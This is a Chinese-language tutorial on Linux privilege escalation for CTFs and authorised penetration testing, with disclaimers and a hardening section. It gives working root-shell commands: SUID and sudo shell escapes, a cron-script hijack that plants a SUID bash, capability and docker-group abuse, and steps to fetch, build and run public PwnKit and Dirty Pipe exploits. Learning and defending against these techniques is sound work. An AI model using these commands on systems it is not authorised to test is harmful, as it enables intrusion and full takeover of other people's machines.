⚠️ 免责声明:本文仅限合法授权环境下的学习、渗透测试与安全防御研究。未经授权对系统进行提权测试 = 入侵,涉嫌违反《网络安全法》等法律法规。技术无罪,用法有罪——别拿它干坏事。


0 · 为什么要读这篇?一个引子

想象一下:你辛辛苦苦打了半天靶场 / 做完了一次渗透测试,终于在一个 Web 应用的上传漏洞里拿到了一个 www-data​ 或普通用户的 Reverse Shell……

然后呢?

$ whoami
www-data    ← 连 /home 都进不去的"系统幽灵"

恭喜,你拿到了门票,但 VIP 包厢(root)还在楼上。提权(Privilege Escalation),就是从这张门票走到 VIP 包厢的艺术。

Linux 提权说穿了就两句话:

要么系统配置给了你梯子(配置型提权),要么系统自身有窟窿让你钻(漏洞型提权)。

下面我们把这两扇门全部打开,一层层拆。


1 · 提权第一步:别急着敲 exploit,先做侦察

提权的本质是 「在受限视角下找到一条放行路径」​ ,所以信息收集的质量决定了成败。很多人 exploit 跑了一堆没成功,就是因为连内核版本都没看准。

🔍 核心侦察速查表

# ── 我是谁、我在哪 ──────────────────────────────────────
whoami
id                    # 看 uid/gid/groups,留意是否在 docker 组等
hostname
pwd

# ── 内核与发行版 ────────────────────────────────────────
uname -a              # 内核版本 → 匹配内核 exploit 的关键
cat /etc/os-release   # 发行版与版本号
cat /proc/version

# ── 已安装的"高危"软件版本 ─────────────────────────────
dpkg -l | grep -i 'sudo\|polkit\|dbus\|systemd'     # Debian/Ubuntu
rpm -qa | grep -i 'sudo\|polkit\|dbus\|systemd'     # RHEL/CentOS

# ── 所有用户的 sudo 权限基线 ────────────────────────────
sudo -l 2>/dev/null          # 当前用户能 sudo 什么(最关键的一条)

# ── 敏感文件权限 ────────────────────────────────────────
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/
find /etc -writable -type f 2>/dev/null

# ── 监听端口 & 运行中服务(找攻击面)──────────────────
ss -tlnp
ps aux | grep -v '\[' | sort

💡 老手经验:如果你懒得一条条敲,直接上自动化脚本:

  • linpeas.sh— 目前最全面的 Linux 本地提权枚举脚本

  • linux-exploit-suggester— 专门根据 uname -r给你列可用内核 exploit


2 · 配置型提权:「梯子」就在明面上

这类提权的核心逻辑是:管理员为了方便,留了后门——只不过这后门他们自己建的。

2.1 SUID 提权 — 经典中的经典 ⭐

🧠 原理一句话

SUID(Set User ID)​ 位让程序运行时临时继承文件所有者的权限。如果一个本来属于 root 的程序被设了 SUID,你运行它时,你的有效 UID 就变成了 root。正常情况下这是给 /usr/bin/passwd这类刚需用的——但如果不该有 SUID 的程序带上了这个位,或者有 SUID 的程序能执行任意命令,你就笑了。

🔎 找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 或等价写法
find / -perm -u=s -type f 2>/dev/null

输出里你会看到一堆正常的(passwdsumount等),但要盯住那些不该出现的

/usr/bin/passwd    ← 正常(需要 root 才能改 shadow)
/usr/bin/sudo      ← 正常
/usr/bin/find      ← ⚠️ 危险信号!
/usr/bin/vim       ← ⚠️ 危险信号!
/usr/bin/python3   ← ⚠️ 危险信号!
/usr/bin/bash      ← 🚨 直接提权!
🛠️ 利用实例(逐个击破)

① bash 直接带 SUID —— 白给

# 如果发现 /usr/bin/bash 带了 SUID 位
ls -la /usr/bin/bash
# -rwsr-xr-x 1 root root ...   ← 注意到那个 's'

/usr/bin/bash -p
# -p 参数:不重置 effective UID
whoami
# root 🎉

② find —— 几乎每个 CTF 里都有

# find 的 -exec 可以执行任意命令,而 SUID 让它以 root 身份执行
find / -name "anything" -exec "/bin/sh" \; -quit
# 或
find . -exec /bin/sh -p \; -quit

③ vim / vi —— 编辑器即 shell

vim -c ':!/bin/sh'
# 在 vim 里也可以直接 :!/bin/sh

④ less / more —— 分页器也能起 shell

less /etc/passwd
# 进入 less 的交互界面后:
!sh

⑤ 编程语言解释器(python/perl/ruby)

# Python
python -c 'import os; os.setuid(0); os.execv("/bin/sh", ["sh"])'
# 或简单版
python -c 'import os; os.system("/bin/sh")'

# Perl
perl -e 'exec "/bin/sh";'

⑥ nmap(旧版的交互模式)

nmap --interactive
nmap> !sh

⚠️ 注意:新版 nmap 已经移除了 --interactive,但在老系统或未更新的镜像里依然常见。


2.2 sudo 滥用提权 — 「管理员请你当 root」

🧠 原理一句话

sudo -l告诉你:当前用户在 /etc/sudoers里被允许以 root 身份跑哪些命令,以及是否需要密码。如果管理员手滑配置了 NOPASSWD+ 一个能起 shell 的命令,那就等于给了你一把刻着你名字的 root 钥匙。

🔎 先看你能 sudo 啥
sudo -l

危险输出长这样:

User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/python3
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /bin/cat
🛠️ 利用实例

sudo -l里出现的允许项

提权方式

sudo vimsudo vi

:!/bin/sh

sudo python3

python3 -c 'import os; os.system("/bin/sh")'

sudo find

sudo find . -exec /bin/sh \; -quit

sudo less /etc/passwd

进入后 !sh

sudo wget

可用来覆盖 /etc/shadow或写 .ssh/authorized_keys(需配合其他条件)

sudo ALL=(ALL) NOPASSWD: ALL

……直接 sudo su完事

一个完整场景——sudo vim 提权:

$ sudo -l
(root) NOPASSWD: /usr/bin/vim

$ sudo vim
# 进入 vim 后:
:!/bin/sh
# 或写个 root shell 到 /etc/passwd
:r !whoami
# 看到 root ✅

🎯 真实场景里的坑:有些环境加了 Defaults!RESET_ENV或 secure_path,会限制 PATH 劫持,但 vim/python/find 这类不需要 PATH 的技巧照跑不误。


2.3 Cron 计划任务劫持 — 「root 定时帮你跑后门」

🧠 原理

cron通常以 root 身份运行周期性任务。如果它执行的脚本/命令所在的文件或目录对普通用户可写,你就可以把自己的代码塞进去,等下一次 cron 触发时——以 root 身份执行

🔎 找 cron 配置
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/

# 当前用户的 cron
crontab -l
🛠️ 经典利用实例

假设你翻到这个:

# /etc/crontab 里有这么一行:
*/5 * * * * root /home/admin/backup.sh

然后你检查发现:

ls -la /home/admin/backup.sh
# -rw-rw-r-- 1 admin admin   ← 其他人也能写!或者 admin 就是你

劫持它

echo '#!/bin/bash' > /home/admin/backup.sh
echo 'cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell' >> /home/admin/backup.sh
echo '/tmp/rootshell -p' >> /home/admin/backup.sh
chmod +x /home/admin/backup.sh

等 cron 下次触发(最多等 5 分钟):

/tmp/rootshell -p
whoami   # root

💡 实战技巧:如果不能直接写脚本,看能不能写它所在的目录(目录可写 = 可以删除原文件再重建)。


2.4 PATH 环境变量劫持 — 「李鬼顶替李逵」

🧠 原理一句话

如果一个特权程序(比如 cron 脚本或 SUID 程序)调用了一个不带绝对路径的命令(如写的是 ls而不是 /bin/ls),它会去 PATH环境变量里按顺序找。如果你能把自己的目录塞到 PATH 最前面,放一个同名恶意程序进去——就能劫持执行流。

🛠️ 实例

假设 root 的 cron 脚本里有:

#!/bin/bash
# /opt/cleanup.sh  (以 root 跑)
cd /tmp
ls            # ← 没写全路径!

你作为普通用户:

# 1. 造一个假的 ls
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/xsh; chmod +s /tmp/xsh' >> /tmp/ls
chmod +x /tmp/ls

# 2. 劫持 PATH(但实际 cron 不一定继承你的 PATH,所以更可靠的手法是
#    让脚本实际 cd 到的目录或 PATH 可控——视场景而定)

# 更经典的场景:有 SUID 程序内部调用了某个无路径命令
# 这时你可以 export PATH=/tmp:$PATH 然后触发那个 SUID 程序

⚠️ PATH 劫持对 cron 脚本(如果脚本没 sanitize PATH)和 自定义 SUID 二进制(源码里用了不安全的 system("ls")而非 /bin/ls)最有效。


2.5 Linux Capabilities 滥用 — 「给程序发了一张 mini-root 通行证」

Capabilities 是 Linux 把传统的「全量 root」拆分成细粒度权限的机制。但有些 cap 一旦给错,就等于半个小 root。

# 找带 capabilities 的可执行文件
getcap -r / 2>/dev/null

高危 caps 速判:

Capability

风险

CAP_SYS_ADMIN

近 root 级,可挂载文件系统、访问 /dev/mem

CAP_DAC_READ_SEARCH

可绕过文件读权限 → 读 /etc/shadow

CAP_SETUID

可直接 setuid(0)变 root

cap_setuid+ep赋给 python/bash

直接 os.setuid(0)→ shell

经典实例 — CAP_SETUIDon Python:

$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_admin+ep

$ python3.8 -c '
import ctypes, os
libc = ctypes.CDLL(None)
libc.setresuid(0,0,0)
os.execv("/bin/sh", ["sh"])'
# whoami → root

2.6 Docker 组提权 — 「你以为的容器,其实是宿主机的后门」

如果一个普通用户在 docker组里:

groups
# www-data : www-data docker

那可以直接起一个挂载宿主机根目录的容器:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 现在你在容器的 shell 里,但 /mnt 是宿主机的 /
# 可以直接读 /mnt/root/.ssh/id_rsa 或写 /mnt/etc/shadow

本质:Docker daemon 本身以 root 运行,能操控 Docker = 能碰宿主机文件系统


3 · 漏洞型提权:「拿漏洞当锤子」

当配置层面找不到梯子时,就该翻 CVE 列表了。内核和用户态服务漏洞是你最后的(也是最猛的)武器。缺点是:动静大、可能崩系统——永远先在测试环境验证

3.1 PwnKit — CVE-2021-4034(用户态,利用门槛极低 ⭐)

📋 概况

Polkit 的 pkexec工具存在一个环境变量注入导致的本地提权,影响几乎所有主流发行版(RHEL、Ubuntu、Debian、CentOS……),无需事前认证,利用极其稳定。

影响版本
  • polkit< 0.105-26(各发行版打包版本号略有不同)

🛠️ 利用(概念演示)
# 验证是否存在
which pkexec

# 利用(经典公开 PoC 之一)
# https://github.com/berdav/CVE-2021-4034
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034
# whoami → root

防御:升级 polkit 到修复版本,或临时 chmod 0750 /usr/bin/pkexec


3.2 Dirty Pipe — CVE-2022-0847(内核级,优雅而致命 ⭐⭐)

📋 概况

Max Kellermann 发现的 Dirty Pipe 利用了 Linux 内核管道(pipe)+ splice()零拷贝机制中页缓存页面的 flags 未正确初始化的缺陷,使得攻击者可以覆盖任意只读文件的内容(包括 /etc/passwd),全程无竞争条件、100% 成功率。

影响版本
  • Linux Kernel 5.8 ~ 5.16.11、5.15.x < 5.15.25、5.10.x < 5.10.102

核心思路(通俗版)
splice() 把只读文件的页缓存页"借"给了管道
→ 管道写入时发现这个页是可写的(flag 没标清楚)
→ 你往管道里写数据 = 直接写到文件的页缓存里
→ /etc/passwd 里 root 的密码字段被改成你已知的 hash
→ su root 完事
🛠️ PoC 编译运行(示意)
# 经典 PoC: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit
wget https://raw.githubusercontent.com/.../dirty_pipe.c
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe
# 覆写 /etc/passwd 中 root 的密码为 "" 或可预测值
su root

🩹 修复:升级内核到 ≥ 5.16.11 / 5.15.25 / 5.10.102,或应用上游 patch。


3.3 CVE-2024-1086 — nf_tables 内核提权(武器化程度高)

📋 概况

Netfilter 的 nf_tables子系统存在一个 use-after-free​ 漏洞,经精心构造可在本地实现提权至 root。PoC 公开后数月内就被集成进了自动化攻击链。

  • 影响:Linux Kernel < 特定修复版本(各发行版见各自安全公告)

  • 利用特点:需要编译内核 module / 精心布局内存,比 Dirty Pipe 复杂,但一旦成功极稳

利用方式

通常使用现成 PoC 如 nf_tables.c编译执行:

gcc -o nf_tables_exploit nf_tables.c
./nf_tables_exploit
# 拿到 root shell

3.4 近年新动态:2026 的 "Dirty 家族三连" — 页缓存污染的进化

2026 年 4~5 月,Linux 内核连续爆出 Copy Fail (CVE-2026-31431)、Dirty Frag (CVE-2026-43284)、Fragnesia (CVE-2026-46300) 三个高危本地提权漏洞,核心攻击面仍然绕不开一个老问题:零拷贝和页缓存共享边界的信任假设被打破

漏洞

核心子系统

一句话

Copy Fail​ (CVE-2026-31431)

AF_ALG/ Crypto API + splice

通过 crypto 原地写路径污染页缓存,间接影响 SUID 二进制

Dirty Frag​ (CVE-2026-43284)

xfrm-ESP / RxRPC

shared frag 标记把页缓存页带入原地解密路径

Fragnesia​ (CVE-2026-46300)

skbuff / ESP-in-TCP

frag 标记传播不完整,页缓存再次被原地篡改

值得注意的是,这类漏洞不依赖竞态、不引起 panic、不需要逐发行版调偏移量——这正是它们特别危险的原因。

防御侧唯一硬解:盯紧内核升级,生产环境考虑启用内核热补丁方案(如 livepatch / 商业方案)。


4 · 提权工作流速查卡(打印贴墙上那种)

信息收集 (linpeas.sh / 手工)
  │
  ├── sudo -l 能跑啥? ──→ sudo 滥用提权
  ├── find / -perm -4000 ──→ SUID 提权
  ├── getcap -r / ────────→ Capabilities 滥用
  ├── cat /etc/crontab ───→ Cron 劫持
  ├── groups 含 docker?──→ Docker 组提权
  ├── /etc/passwd 可写? / 密钥泄露?
  │
  └── 以上都没戏?
        │
        ├── uname -a → linux-exploit-suggester → 内核 exploit
        └── 检查 polkit/sudo 等用户态 CVE(PwnKit 等)

5 · 防御侧:别让自己的服务器变成提权练习场

防御措施

针对

最小权限原则:定期审计 SUID/SGID 文件,find / -perm -4000纳入基线

SUID 提权

严格 sudoers:拒绝 NOPASSWD: ALL,只允许精确命令白名单

sudo 滥用

Cron 脚本路径写死 + 目录权限 700:脚本目录不能是普通用户可写

Cron 劫持

Capabilities 审计getcap -r /扫一遍,回收不必要的 cap

Cap

内核 & 软件补丁节奏:尤其 polkit、sudo、内核三者是重灾区

CVE 利用

MAC 框架:AppArmor / SELinux 正确启用,可大幅缩小即使被入侵后的提权空间

全局

监控/etc/passwd/etc/sudoers的变更告警

提权痕迹


🔚 写在最后

Linux 提权这件事,表面上看是一堆 trick 的拼盘,但底层逻辑非常干净——

操作系统的每一个"为了方便而做的特权传递",如果没有被精确约束,就一定会被当作梯子。

反过来,理解了提权手法,你也就真正理解了 Linux 权限模型的设计哲学:Capability、SUID、命名空间、DAC/MAC……它们不是摆设,每一层都是为了在被突破时少漏一点。

⚠️ 再次提醒:本文所述技术仅可用于 自有设备、授权渗透测试、CTF 竞赛、企业内合法红队演练。对他人系统实施未经授权的提权测试可能触犯《刑法》第285/286条及相关法规。Know how to break it, so you can build it stronger. 🛡️

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐